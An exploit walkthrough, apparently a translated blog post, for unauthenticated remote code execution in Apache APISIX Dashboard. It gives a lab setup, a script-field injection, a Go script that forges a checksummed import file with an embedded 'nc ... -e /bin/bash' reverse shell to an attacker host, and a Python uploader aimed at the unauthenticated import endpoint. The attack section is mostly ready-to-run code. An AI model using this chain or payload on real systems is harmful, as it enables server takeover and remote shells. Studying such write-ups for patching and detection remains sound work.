Table of contents
Disclaimer: This article is for learning and reference only. All resources involved in it are from the Internet. Please do not use them for any illegal acts, otherwise you will bear the corresponding consequences yourself, and I do not assume any legal and joint and several liabilities.
Vulnerability description
Apache APISIX is a dynamic, real-time, high-performance API gateway that provides rich traffic management functions such as load balancing, dynamic upstream, gray release, service fuse, identity authentication, and observability. Apache APISIX Dashboard enables users to operate Apache APISIX through the front-end interface. The vulnerability exists due to a bug in the Manager API. The Manager API introduces the droplet framework based on the gin framework, and all APIs and authentication middleware are developed based on the droplet framework. But some APIs directly use the interface of the framework gin, thus bypassing the authentication.
Sphere of influence
Apache APISIX Dashboard < 2.10.1
Environment deployment
via git clone apisix-docker
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
Modify docker-compose.yml
apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine
Then, docker-compose up -d starts the environment
After the environment is up, the browser accesses the apisix dashboard through the default port 9000
Background RCE
Since the default account and password of apisix dashboard is admin:admin, we first log in to the background to verify a remote command execution
First create an upstream service, click Create, name it whatever you want, and fill in the service for the target node to forward the request. Here we fill in the Grafana application attached to the docker, the port number is 3000, click Next, and submit.
Secondly, create a route, the name can be arbitrary, and the path can also be customized. Click Next, select the upstream service we just created, and finally, submit it.
View the created route
Go back to the route configuration page, click Configure, and then continue to the next step until submission, use BurpSuite to capture packets
Then in the body of the request packet, after adding a script field, send the request.
"script": "os.execute('touch /tmp/Keepb1ue')"
Check again, routing configuration information
Next, let's visit: http://192.168.10.171:9080/rce111
Check in docker to see if the file Keepblue has been created
Unauthorized interface RCE
If there is no default password or weak password, then we use the unauthorized interface to perform RCE
/apisix/admin/migrate/export
/apisix/admin/migrate/import
First, export the configuration file using /apisix/admin/migrate/export
Because it is unauthorized, so in the case of not logging in, after BP captures the packet, the request interface is changed to /apisix/admin/migrate/export, and after clicking send, you can see the configuration file information
When importing a configuration file, the checksum value of the configuration file will be verified. In fact, the checksum verification value can be calculated by writing a script, or a new checksum value can be calculated according to the source code of apisix
The source code location is: ExportConfig function of apisix-dashboard-master\api\internal\handler\migrate\migrate.go
Extract its calculation source code separately, and replace and insert the RCE statement with the configuration (data) that needs to be imported
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{
"Counsumers":[],"Routes":[{
"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
Running this script will generate the file apisixPayload
This is the new configuration file that we want to import to calculate the check value, and then use the python code to simply pass it to the server
import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {
"file": open("apisixPayload", "rb")}
r = requests.post(url, data={
"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
On the attacking machine, enable nc monitoring
Next, access the routing address (http://192.168.10.171:9080/rce111) to trigger remote command execution
View nc rebound shell
The rebound is successful, indicating that the command has been executed